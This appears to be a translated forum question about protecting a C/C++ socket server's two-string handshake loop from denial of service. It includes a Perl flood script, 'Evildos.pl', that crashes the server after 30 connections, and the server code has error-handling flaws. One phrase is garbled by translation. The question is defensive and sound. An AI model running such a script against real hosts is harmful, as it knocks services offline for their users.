如何避免此代码中的 DOS 攻击

我有一个用 C/C++ 编写的代码，看起来像这样：

    while(1)
{
    //Accept
    struct sockaddr_in client_addr;
    int client_fd = this->w_accept(&client_addr);
    char client_ip[64];
    int client_port = ntohs(client_addr.sin_port);
    inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, sizeof(client_ip));
    //Listen first string
    char firststring[512];
    memset(firststring,0,512);
    if(this->recvtimeout(client_fd,firststring,sizeof(firststring),u->timeoutlogin) < 0){
        close(client_fd);
    }
    if(strcmp(firststring,"firststr")!=0)
    {
        cout << "Disconnected!" << endl;
        close(client_fd);
        continue;
    }
    //Send OK first string
    send(client_fd, "OK", 2, 0);

    //Listen second string
    char secondstring[512];
    memset(secondstring,0,512);
    if(this->recvtimeout(client_fd,secondstring,sizeof(secondstring),u->timeoutlogin) < 0){
        close(client_fd);
    }
    if(strcmp(secondstring,"secondstr")!=0)
    {
        cout << "Disconnected!!!" << endl;
        close(client_fd);
        continue;
    }
    //Send OK second string
    send(client_fd, "OK", 2, 0);

}
    }

所以，这是可配药的。我在perl中编写了一个非常简单的dos脚本，可以关闭服务器。

#Evildos.pl
use strict;
use Socket;
use IO::Handle;
sub dosfunction
{
my $host = shift || '192.168.4.21';
my $port = 1234;
my $firststr = 'firststr';
my $secondstr = 'secondstr';
my $protocol = getprotobyname('tcp');
$host = inet_aton($host) or die "$host: unknown host";
socket(SOCK, AF_INET, SOCK_STREAM, $protocol) or die "socket() failed: $!";
my $dest_addr = sockaddr_in($port,$host);
connect(SOCK,$dest_addr) or die "connect() failed: $!";
SOCK->autoflush(1);
print SOCK $firststr;
#sleep(1);
print SOCK $secondstr;
#sleep(1);
close SOCK;
}
my $i;
for($i=0; $i<30;$i++)
{
&dosfunction;
}

循环 30 次后，服务器出现故障。

问题是：有没有一种方法、一个系统、一个解决方案可以避免这种类型的攻击？

编辑：接收超时

int recvtimeout(int s, char *buf, int len, int timeout)
     {

fd_set fds;
int n;
struct timeval tv;
// set up the file descriptor set
FD_ZERO(&fds);
FD_SET(s, &fds);
// set up the struct timeval for the timeout
tv.tv_sec = timeout;
tv.tv_usec = 0;
// wait until timeout or data received
n = select(s+1, &fds, NULL, NULL, &tv);
if (n == 0){
    return -2; // timeout!
}
if (n == -1){
    return -1; // error
}
// data must be here, so do a normal recv()
return recv(s, buf, len, 0);
    }